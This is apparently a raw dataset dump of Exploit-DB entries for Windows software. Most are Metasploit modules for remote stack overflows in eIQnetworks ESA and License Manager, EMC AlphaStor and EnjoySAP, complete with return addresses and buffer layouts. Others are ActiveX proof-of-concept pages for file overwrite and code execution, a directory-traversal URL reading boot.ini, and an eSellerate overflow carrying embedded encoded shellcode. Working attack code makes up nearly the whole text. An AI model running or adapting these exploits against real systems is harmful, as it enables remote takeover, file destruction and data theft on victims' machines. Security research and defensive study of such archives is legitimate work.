deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16438
Description: eIQNetworks ESA - Topology DELETEDEVICE Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: eiqnetworks_esa_topology.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in eIQnetworks
				Enterprise Security Analyzer. During the processing of
				long arguments to the DELETEDEVICE command in the Topology
				server, a stack-based buffer overflow occurs.

				This module has only been tested against ESA v2.1.13.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2006-3838'],
					['OSVDB', '27528'],
					['BID', '19164'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00\x0a\x0d\x20",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
					[ 'Windows XP SP2 English',   { 'Ret' => 0x77d57447 } ],
					[ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 25 2006'
			))

		register_options(
			[
				Opt::RPORT(10628)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		filler  =  rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)

		sploit  =  "DELETEDEVICE&" + filler + payload.encoded

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #4566
Description: eIQnetworks ESA SEARCHREPORT - Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2007-10-24
Author: ri0t

Exploit:
##
# $Id: eiqnetworks_esa.rb 4529 2007-03-12 01:08:18Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Misc::Eiqnetworks_SEARCHREPORT < Msf::Exploit::Remote

	include Exploit::Remote::Tcp
	include Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'eIQNetworks ESA SEARCHREPORT Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in eIQnetworks
				Enterprise Security Analyzer. During the processing of
				long arguments to the SEARCHREPORT command, a stack-based
				buffer overflow occurs. 
			},
			'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>',   ],
			'Version'        => '$Revision: 4529 $',
			'References'     => 
				[
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1962,
					'BadChars' => "\x00",
					'ActiveTimeout' => 15,
				},
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					['EnterpriseSecurityAnalyzer v2.5 Universal', { 'Ret' => 0x55322a6a, 'Offset' => 1962 } ],  
				
				],

			'Privileged'     => false,

                        'DisclosureDate' => ''

                        ))

			register_options(
			[
				Opt::RPORT(10616)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")
	
		hunter = generate_egghunter()
		egg = hunter[1]
		filler =  make_nops(target['Offset'] - payload.encoded.length)
		sploit =  "SEARCHREPORT&" + egg + egg + filler + payload.encoded + make_nops(12) + [target.ret].pack('V') + make_nops(12) + hunter[0] +  "&";
		puts sploit
		sock.put(sploit)
		handler
		disconnect	
	end

end
end

# milw0rm.com [2007-10-24]
Exploit-DB #2074
Description: eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1)
Type: remote
Platform: windows
Date: 2006-07-26
Author: ri0t

Exploit:
#!/usr/bin/perl -w

#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs

package Msf::Exploit::EiQ_License_1262; 
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'     => 'EIQ License Manager Overflow',
	'Authors'  => [ 'ri0t ri0t@ri0tnet.net, KF kf_list@digitalmunition.com' ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp' ],
	'Priv'  => 0,
	
	'AutoOpts'  => { 'EXITFUNC' => 'seh' },
	
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 10616],
	 },
        'Payload'  =>
	  {
		'Space' => 1262,
		'BadChars'  => "\x00\x0a\x0d\x40\x26",
            },
          'Description'  =>  Pex::Text::Freeform(qq{
	This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
        Field of EIQ networks network analyser this module exploits buffers of 1262 bytes
	in size. This module should work on all rebranded eiq analysers.  Exploitation
	assistance from KF of digital munition.
        }),
          
          
        'DefaultTarget' => 1,
	'Targets' =>
	  [
	        ['Windows 2000 SP0-SP4 English', 0x750316e2],   # call ebx
		['Windows XP English SP1/SP2', 0x77db64dc ],	# jmp ebx
	        ['Windows Server 2003 English SP0/SP1', 0x77d16764 ],   # jmp ebx
	  ],
          
  };
  
  sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}
  
  sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];
        my $nops 	= $self->MakeNops(1262 - length($shellcode));
        my $ret         =  pack("V", $target->[1]);
        my $evil        = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
	
            
        my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
    	  );
          
          if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}
          $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
          
          $s->Send("$evil");
          return;
  }

# milw0rm.com [2006-07-26]
Exploit-DB #2075
Description: eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2)
Type: remote
Platform: windows
Date: 2006-07-26
Author: ri0t

Exploit:
#!/usr/bin/perl -w

#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs

package Msf::Exploit::EiQ_License_494; 
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'     => 'EIQ License Manager Overflow',
	'Authors'  => [ 'ri0t ri0t@ri0tnet.net, KF kf_list@digitalmunition.com' ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp' ],
	'Priv'  => 0,
	
	'AutoOpts'  => { 'EXITFUNC' => 'seh' },
	
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 10616],
	 },
        'Payload'  =>
	  {
		'Space' => 494,
		'BadChars'  => "\x00\x0a\x0d\x40\x26",
            },
          'Description'  =>  Pex::Text::Freeform(qq{
	This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
        Field of EIQ networks network analyser this module exploits buffers of 494 bytes
	in size. This module should work on all EIQ branded analysers.  Exploitation
	assistance from KF.
        }),
          
          
        'DefaultTarget' => 1,
	'Targets' =>
	  [
		['Windows 2000 SP0-SP4 English', 0x750316e2],   # call ebx
		['Windows XP SP1/SP2 English', 0x77db64dc ],	# jmp ebx
	        ['Windows Server 2003 SP0/SP1 English', 0x77d16764 ],   # jmp ebx 
	  ],
          
  };
  
  sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}
  
  sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];
        my $nops 	= $self->MakeNops(494 - length($shellcode));
        my $ret         =  pack("V", $target->[1]);
        my $evil        = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
	
            
        my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
    	  );
          
          if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}
          $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
          
          $s->Send("$evil");
          return;
  }

# milw0rm.com [2006-07-26]
Exploit-DB #20717
Description: elron im Anti-Virus 3.0.3 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-03-23
Author: Erik Tayler

Exploit:
source: https://www.securityfocus.com/bid/2519/info

Elron IM is a suite of tools providing internet filtering, virus protection, and other features.

Certain non-current versions of products in the Internet Manager suite, including IM Anti-Virus, are vulnerable to directory traversal attacks.

An attacker can compose a long path which includes '/../' sequences, and submit it as a file request to the built-in webserver. The server will not filter 'dot-dot' sequences from the path, permitting the attacker to specify files outside the directory tree normally available to users.

This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.

http://target:80/../../../../../../boot.ini will, in most cases, return the specified file. In some cases, more "../" sequences will be required.
Exploit-DB #29688
Description: EmbeddedWB Web Browser ActiveX Control - Remote Code Execution
Type: remote
Platform: windows
Date: 2007-02-28
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/22755/info

EmbeddedWB Web Browser ActiveX control is prone to a remote code-execution vulnerability.

Exploiting this issue allows remote attackers to execute arbitrary machine code in the context of applications using the affected ActiveX control and possibly to compromise affected computers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29688.ocx
Exploit-DB #16391
Description: EMC AlphaStor Agent - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: alphastor_agent.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC AlphaStor Agent Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
				By sending a specially crafted message, an attacker may
				be able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-2158' ],
					[ 'OSVDB', '45714' ],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process', # one-shot overwrite.
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
				],
			'Privileged'     => true,
			'DisclosureDate' => 'May 27 2008',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(41025)], self.class)
	end

	def exploit
		connect

		# overwrite via: ascli.exe asopmsg "long_buff"
		uno = [0x0000000b].pack('V')
		sock.put(uno)

		dos =  rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
		sock.put(dos)

		tres = [0x00000004].pack('V')
		sock.put(tres)

		quatro = [0x0000001b].pack('V')
		sock.put(quatro)

		cinco = [0x0000047c].pack('V')
		sock.put(cinco)

		data =  make_nops(827 - payload.encoded.length) + payload.encoded
		data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
		data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"

		print_status("Trying target #{target.name}...")
		sock.put(data)

		handler
		disconnect
	end

end
Exploit-DB #33263
Description: EMC Captiva PixTools 2.2 Distributed Imaging - ActiveX Control Multiple Insecure Method Vulnerabilities
Type: remote
Platform: windows
Date: 2009-10-01
Author: Giuseppe Fuggiano

Exploit:
source: https://www.securityfocus.com/bid/36566/info

The EMC Captiva PixTools Distributed Imaging ActiveX control is prone to multiple insecure-method vulnerabilities that affect the PDIControl.PDI.1 ActiveX control (PDIControl.dll).

Successfully exploiting these issues allows remote attackers to create or overwrite arbitrary local files, which may lead to arbitrary code execution.

PDIControl.dll 2.2.3160.0 is vulnerable; other versions may also be affected. 

<object classid='clsid:00200338-3D33-4FFC-AC20-67AA234325F3' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.SetLogLevel 1 test.SetLogFileName "c:\some.txt" test.WriteToLog 1, "Hello World!" End Sub </script>
Exploit-DB #34174
Description: Enemy Territory: Quake Wars 1.5.12642.33243 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-08-18
Author: Luigi Auriemma

Exploit:
source! https://www.securityfocus.com/bid/40991/info

Enemy Territory: Quake Wars is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will likely cause denial-of-service conditions.

Enemy Territory: Quake Wars 1.5.12642.33243 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34174.zip
Exploit-DB #9810
Description: EnjoySAP 6.4/7.1 - File Overwrite
Type: remote
Platform: windows
Date: 2009-09-28
Author: sh2kerr

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-044


Application:                    EnjoySAP, SAP GUI for Windows 6.4 and 7.1       
Versions Affected:              Tested on 7100.2.7.1038 PL 7
Vendor URL:                     http://SAP.com
Bugs:                           insecure method, File owervriting
Exploits:                       YES
Reported:                       02.07.2009
Vendor response:                02.07.2009
Date of Public Advisory:        22 ñåíò
CVE-number:                     
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer3D ( file WebViewer3D.dll) Lib GUID:    {AFBBE070-7340-11d2-AA6B-00E02924C34E}

which is contains insecure method that can overwrite any file in system. 

Details
*******

Attacker can construct html page which call one of the wulnerable functions such as: 

1) SaveToSessionFile
2) SaveViewToSessionFile

from ActiveX component EAI WebViewer3D



Example1:

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveToSessionFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>


Example2:

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveViewToSessionFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>




For example we can overwrite boot.ini file or  sapgui.ini which contains all connectionbs to sap servers 


Fix Information
***************



About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com
Exploit-DB #16498
Description: EnjoySAP SAP GUI - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: enjoysapgui_preparetoposthtml.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SAP KWEdit ActiveX
				Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending
				an overly long string to the "PrepareToPostHTML()" method, an attacker
				may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2007-3605' ],
					[ 'OSVDB', '37690' ],
					[ 'BID', '24772' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
					[ 'Windows 2000 Pro English All',   { 'Ret' => 0x75022ac4 } ],

				],
			'DisclosureDate' => 'Jul 05 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Build the exploit buffer
		sploit =  rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)
		sploit << make_nops(2) + [target.ret].pack('V') + p.encoded

		# Build out the message
		content = %Q|<html>
<object classid='clsid:2137278D-EF5C-11D3-96CE-0004AC965257' id='#{vname}' /></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.PrepareToPostHTML(#{strname})
</script>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #30144
Description: eSellerate SDK 3.6.5 - 'eSellerateControl365.dll' ActiveX Control Buffer Overflow
Type: remote
Platform: windows
Date: 2007-06-04
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/24300/info

eSellerate SDK ActiveX control is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

This issue affects eSellerate SDK 3.6.5.0; other versions may also be affected. 

<object classid='clsid:C915F573-4C11-4968-9080-29E611FDBE9F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
 buff      = String(997, "A")

 get_EIP   = unescape("%6B%AC%3F%7E") '0x7E3FAC6B call EBP from user32.dll

 nop       = String(24, unescape("%90"))

 shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
             unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
             unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
             unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
             unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
             unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
             unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
             unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
             unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
             unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
             unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
             unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
             unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
             unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
             unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
             unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
             unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
             unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
             unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
             unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
             unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
             unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

 egg       = buff + get_EIP + nop + shellcode + nop

 test.GetWebStoreURL egg, "default"
End Sub
</script>